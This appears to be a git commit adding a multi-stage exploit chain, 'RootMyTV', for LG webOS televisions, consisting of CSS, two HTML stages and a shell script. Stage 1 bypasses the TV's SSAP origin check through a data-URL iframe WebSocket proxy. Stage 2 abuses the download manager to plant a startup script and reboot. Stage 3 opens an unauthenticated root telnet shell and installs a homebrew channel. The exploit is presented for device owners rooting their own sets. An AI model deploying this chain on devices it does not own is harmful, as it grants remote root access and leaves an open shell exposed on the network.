Initial v2 exploit chain

exploit/common.css

@@ -0,0 +1,152 @@
+@import url("https://fonts.googleapis.com/css2?family=Orbitron:wght@900&display=swap");
+
+body {
+    background-color: #000;
+    font-family: sans-serif;
+    font-size: 15pt; /* 15pt / 22pt */
+    transform: translate3d(0,0,0); /* Hack to disable drag scrolling in WebOS */
+    overflow-x: hidden;
+}
+.content-center {
+    max-width: 40em;
+    margin: auto;
+}
+hr {
+    width: 90%;
+    height: 0;
+    border: 0;
+    margin: 2em auto;
+    box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.5em #731178;
+}
+hr:after {  /* https://css-tricks.com/examples/hrs/ */
+    content: "\00a0"; /* Prevent margin collapse */
+}
+header > h1 {
+    font-family: 'Orbitron', sans-serif;
+    font-weight: 900;
+    text-align: center;
+    color: #000;
+    font-size: 4em;
+    text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.2em #0bb6be;
+}
+article {
+    line-height: 1.5;
+    color: #c4f0fd;
+    font-family: 'Cantarell', sans-serif;
+}
+article > p {
+    text-align: justify;
+    margin: 1em;
+}
+
+.slider-bar {
+    width: 90%;
+    margin: 2em auto;
+    border: 1px solid #fff;
+    position: relative;
+    display: block;
+    border-radius: 1em;
+
+    box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.5em #731178, inset 0 0 1em 0.5em #731178, inset 0 0 1px 1px #fff;
+    /**/
+    background: black;
+}
+
+/* Use pre-baked glow effect to improve perf on the TV itself */
+/*			@media only screen and (width: 1920px) {
+.slider-bar:before {
+content: "";
+background-image: url("./sliderbar.png");
+position: absolute;
+width: 1173px;
+height: 240px;
+background-repeat: no-repeat;
+margin-top: -2em;
+margin-left: -2em;
+}
+.slider-text {
+background-image: url("./slidetoroot.png");
+background-position: center;
+background-repeat: no-repeat;
+}
+}*/
+    .slider-button {
+        z-index: 1;
+        display: block;
+        border: 1px solid #fff;
+        border-radius: 0.5em;
+        margin: 0.4em;
+        position: absolute;
+        top: 0;
+        box-sizing:border-box;
+        left: 0%;
+        width: 15%;
+        height: 80%;
+        text-align: center;
+
+        box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.2em #0bb6be, inset 0 0 1em 0.2em #0bb6be, inset 0 0 1px 1px #fff;
+        /**/
+    }
+    .slider-button > p {
+        cursor: grab;
+        font-family: 'Orbitron', sans-serif;
+        font-size: 3em;
+        margin: 0;
+        color: black;
+        margin-top: -0.3em;
+
+        text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.3em #0bb6be, 0 0 0.3em #0bb6be;
+        /**/
+    }
+    .slider-text {
+        margin: 0;
+        display: block;
+        text-align: center;
+        width: 100%;
+        height: 100%;
+        font-family: 'Orbitron', sans-serif;
+        font-size: 2.5em;
+        color: black;
+
+        text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.2em #0bb6be;
+        /**/
+        padding-top: 0.04em;
+        padding-bottom: 0.12em;
+
+
+        position: relative;
+    }
+    .slider-text:after {
+        content: "slide to root";
+        position: absolute;
+        left: 0;
+        text-shadow: none;
+        width: 100%;
+
+        background-clip: text;
+        -webkit-background-clip: text;
+        -moz-background-clip: text;
+        text-fill-color: transparent;
+        -webkit-text-fill-color: transparent; 
+        -moz-text-fill-color: transparent;
+        background-image: linear-gradient(270deg, #000 0%, #11bbc2 15%, #000 30%, #000 100%);
+        animation: Shine 3000s linear infinite;
+        /**/
+    }
+
+    @keyframes Shine {
+        0%{
+            background-position: 0 0;
+        }
+        100%{
+            background-position: 1000000px 0; /* FIXME: should be percentage, but that breaks it */
+        }
+    }
+
+#log {
+    width: 100%;
+    font-size: 0.7em;
+    white-space: pre-wrap;
+    word-wrap: break-word;
+}
+

exploit/devmode_enabled

@@ -0,0 +1 @@
+yep

exploit/stage1.html

@@ -0,0 +1,181 @@
+<html>
+
+<head>
+  <title>RootMyTV - Stage 1</title>
+  <link rel="stylesheet" href="common.css" />
+</head>
+
+<body>
+  <header>
+    <h1>RootMy.TV</h1>
+  </header>
+  <hr>
+  <section class="content-center">
+    <button id="exploit" class="slider-bar">
+      Press to root
+    </button>
+    <article>
+      <pre id="log"></pre>
+    </article>
+  </section>
+
+  <script>
+    window.ORIGIN_URL = window.location.protocol === 'data:' ? '__START_ORIGIN__' : window.location.href;
+
+    window.onerror = function (err) {
+      console.error(err);
+      alert('error: ' + JSON.stringify(err) + '\n' + err.fileName + ' ' + err.lineNumber);
+    };
+  </script>
+  <script>
+    // Exploit data: url navigation for browsers which didn't have following patch
+    // applied yet (webOS 3.x):
+    // https://chromium.googlesource.com/chromium/src.git/+/130ee686fa00b617bfc001ceb3bb49782da2cb4e
+    try {
+      if (window.location.protocol !== 'data:') {
+        window.location = 'data:text/html;base64,' + btoa(document.documentElement.innerHTML
+          .replace('="common.css"', '="' + new URL('common.css', window.location.href).href + '"')
+          .replace('__START_ORIGIN__', window.location.href));
+      }
+    } catch (err) {}
+
+    function log(str) {
+      var logBox = document.querySelector('#log');
+      logBox.innerText = str + '\n' + logBox.innerText;
+    }
+
+    // Minimal implementation of WebSocket API that we use to workaround origin
+    // filtering in SSAP (LG Connect Apps) server. data: origins result in Origin:
+    // null header to be sent, which is explicitly allowed.
+    function ProxyWebSocket(target) {
+
+      // Proxy payload - this function is run in data: iframe and is meant to exchange
+      // WebSocket calls and events with parent frame.
+      function proxyPayload(address) {
+        // Helper function that forwards events/messages to parent frame
+        function forward(type, data) {
+          window.parent.postMessage(JSON.stringify({type: type, data: data}), "*");
+        }
+
+        try {
+          var conn = new WebSocket(address);
+          conn.onopen = function (evt) {forward('open', evt);}
+          conn.onclose = function (evt) {forward('close', evt);}
+          conn.onerror = function (evt) {forward('error', evt);}
+          conn.onmessage = function (evt) {forward('message', {data: evt.data});}
+          window.addEventListener("message", function (event) {
+            var msg = JSON.parse(event.data);
+            if (msg.type === 'send') {
+              conn.send(msg.data);
+            }
+          }, false);
+        } catch (err) {
+          forward('error', err);
+        }
+      }
+
+      var self = this;
+      this.proxy = document.createElement('iframe');
+      this.proxy.style.display = 'none';
+      this.proxy.setAttribute('src', 'data:text/html;base64,' + btoa('<' + 'script>' + proxyPayload.toString() + ';proxyPayload(' + JSON.stringify(target) + ');</' + 'script>'));
+      window.addEventListener("message", function (event) {
+        if (event.source !== self.proxy.contentWindow) return;
+        const msg = JSON.parse(event.data);
+        if (msg.type === 'message' && self.onmessage) self.onmessage(msg.data);
+        if (msg.type === 'close' && self.onclose) self.onclose(msg.data);
+        if (msg.type === 'error' && self.onerror) self.onerror(msg.data);
+        if (msg.type === 'open' && self.onopen) self.onopen(msg.data);
+        if (msg.type === 'log') console.info('proxy:', msg.data);
+      }, false);
+      document.querySelector('body').appendChild(this.proxy);
+      return this;
+    }
+    ProxyWebSocket.prototype.send = function (data) {
+      this.proxy.contentWindow.postMessage(JSON.stringify({type: 'send', data: data}), '*');
+    }
+    ProxyWebSocket.prototype.close = function () {
+      this.proxy.parentNode.removeChild(this.proxy);
+    }
+
+    // Final exploit code
+    var conn = null;
+    function bootstrap(target, url) {
+      try {
+        log('0. Connecting...');
+
+        if (conn) {try {conn.close();} catch (err) {alert(err.message)} }
+        conn = new ProxyWebSocket('ws://' + target + ':3000');
+        conn.onopen = function (evt) {
+          console.info('open', evt);
+          log('1. Connected, registering... Accept prompt on the TV.');
+          const handshake = {
+            id: "reg_req",
+            type: "register",
+            payload: {
+              forcePairing: false,
+              pairingType: "PROMPT",
+              "client-key": "xxx",
+
+              // Minimal manifest that gives us permission to launch a system
+              // application
+              manifest: {
+                manifestVersion: 1,
+                permissions: ["LAUNCH"],
+              },
+            }
+          };
+          conn.send(JSON.stringify(handshake));
+        };
+
+        conn.onmessage = function (evt) {
+          const msg = JSON.parse(evt.data);
+
+          if (msg.type === 'registered') {
+            log('2. Registered - opening webpage...');
+            conn.send(JSON.stringify({
+              id: 'launch_req',
+              type: "request",
+              uri: "ssap://system.launcher/launch",
+              payload: {
+                id: "com.webos.app.facebooklogin",
+                params: {
+                  server: url.replace('http://', '').replace('https://', '') + "#",
+                }
+              },
+            }));
+          } else if (msg.type === 'response') {
+            if (msg.payload.returnValue === true && msg.id === 'launch_req') {
+              log('2. Launch request finished');
+            } else if (msg.id !== 'reg_req') {
+              log('Unexpected response: ' + evt.data);
+            }
+          } else if (msg.type === 'error') {
+            log('Unexpected message, connection prompt likely declined:\n' + evt.data);
+          } else {
+            log('Unexpected message: ' + evt.data);
+          }
+        };
+        conn.onclose = function (evt) {
+          console.info('close', evt);
+          log('Closed');
+        };
+        conn.onerror = function (evt) {
+          console.info('error', evt);
+          if (evt.message && evt.message.indexOf('insecure') !== -1) {
+            log('Error occured during connection... Attempting data URL hack...');
+          } else {
+            log('Error occured during connection - Do you have LG Connect Apps enabled?');
+          }
+        };
+      } catch (err) {
+        log("An unexpected error occured: " + err.toString());
+      }
+    }
+
+    document.querySelector('#exploit').addEventListener('click', function () {
+      bootstrap('localhost', new URL('stage2.html', ORIGIN_URL).href);
+    });
+  </script>
+</body>
+
+</html>

exploit/stage2.html

@@ -0,0 +1,88 @@
+<html>
+
+<head>
+  <title>RootMyTV - Stage 2</title>
+  <link rel="stylesheet" href="common.css" />
+</head>
+
+<body>
+  <header>
+    <h1>RootMy.TV</h1>
+  </header>
+  <hr>
+  <section class="content-center">
+    <article>
+      <pre id="log"></pre>
+    </article>
+  </section>
+  <script src="webOSTV.js"></script>
+  <script>
+    function log(str) {
+      var logBox = document.querySelector('#log');
+      logBox.innerText = str + '\n' + logBox.innerText;
+    }
+
+    window.onerror = function (err) {log('Unexpected error: ' + err);};
+
+    (function () {
+      function download(url, targetDir, targetFilename, success) {
+        var target = new URL(url, window.location.href).href;
+        log(targetFilename + ': Downloading from ' + target + '...');
+        webOS.service.request('luna://com.webos.service.downloadmanager', {
+          method: 'download',
+          parameters: {
+            target: target,
+            targetDir: targetDir,
+            targetFilename: targetFilename,
+            subscribe: true,
+          },
+
+          onSuccess: function (res) {
+            if (res.completed === true) {
+              if (res.destPath !== targetDir) {
+                log(targetFilename + ': Download completed, but target directory (' + res.destPath + ') did not match what we expected (' + targetDir + '). This likely means your TV is not vulnerable to LunaDownloadMgr exploit.');
+              } else if (res.httpStatus !== 200) {
+                log(targetFilename + ': Download completed, but finished with a HTTP status code ' + res.httpStatus);
+              } else {
+                log(targetFilename + ': Download completed');
+                success();
+              }
+            }
+          },
+
+          onFailure: function (err) {
+            log('err: ' + JSON.stringify(err));
+          },
+        });
+      }
+
+      function reboot() {
+        webOS.service.request('luna://com.webos.service.sleep', {
+          method: 'shutdown/machineReboot',
+          parameters: {
+            reason: "SwDownload"
+          },
+          onSuccess: function (res) {
+            log("Reboot request succeeded. Bye?");
+          },
+          onFailure: function (res) {
+            log("Failed to reboot: " + JSON.stringify(res));
+          },
+        });
+      }
+
+      // Placeholder...
+      var homebrewChannelURL = 'https://github.com/mariotaku/moonlight-tv/releases/download/v0.7.4/com.limelight.webos_0.7.4_arm.ipk';
+
+      download('stage3.sh', '/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/', 'start-devmode-xxx.sh', function () {
+        download(homebrewChannelURL, '/media/internal/downloads/', 'hbchannel.ipk', function () {
+          download('devmode_enabled', '/var/luna/preferences/', 'devmode_enabled', function () {
+            reboot();
+          });
+        });
+      });
+    })();
+  </script>
+</body>
+
+</html>

exploit/stage3.sh

@@ -0,0 +1,32 @@
+#!/bin/sh
+
+# Remove this script - in case a reboot happens, we should end up with a clean
+# system...
+rm $0
+
+# Start root telnet server
+telnetd -l /bin/sh
+
+# give the system time to wake up
+sleep 5
+
+luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing homebrew channel..."}'
+
+mkfifo /tmp/luna-install
+luna-send -i 'luna://com.webos.appInstallService/dev/install' '{"id":"com.ares.defaultName","ipkUrl":"/media/internal/downloads/hbchannel.ipk","subscribe":true}' >/tmp/luna-install &
+LUNA_PID=$!
+echo "pid: $LUNA_PID"
+egrep -i -m 1 'installed|failed' /tmp/luna-install
+echo "finished"
+kill -term $LUNA_PID
+rm /tmp/luna-install
+
+luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Elevating homebrew channel..."}'
+/media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/elevate-service
+
+luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing final start-devmode.sh..."}'
+cp /media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/startup.sh /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh
+
+luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Finished!"}'
+
+luna-send -a com.webos.service.secondscreen.gateway -f -n 1 luna://com.webos.notification/createAlert '{"sourceId":"webosbrew","message":"webOS Homebrew Channel installed. Would you like to reboot now?","buttons":[{"label":"Reboot now","onclick":"luna://com.webos.service.sleep/shutdown/machineReboot","params":{"reason":"SwDownload"}},{"label":"Reboot later"}]}'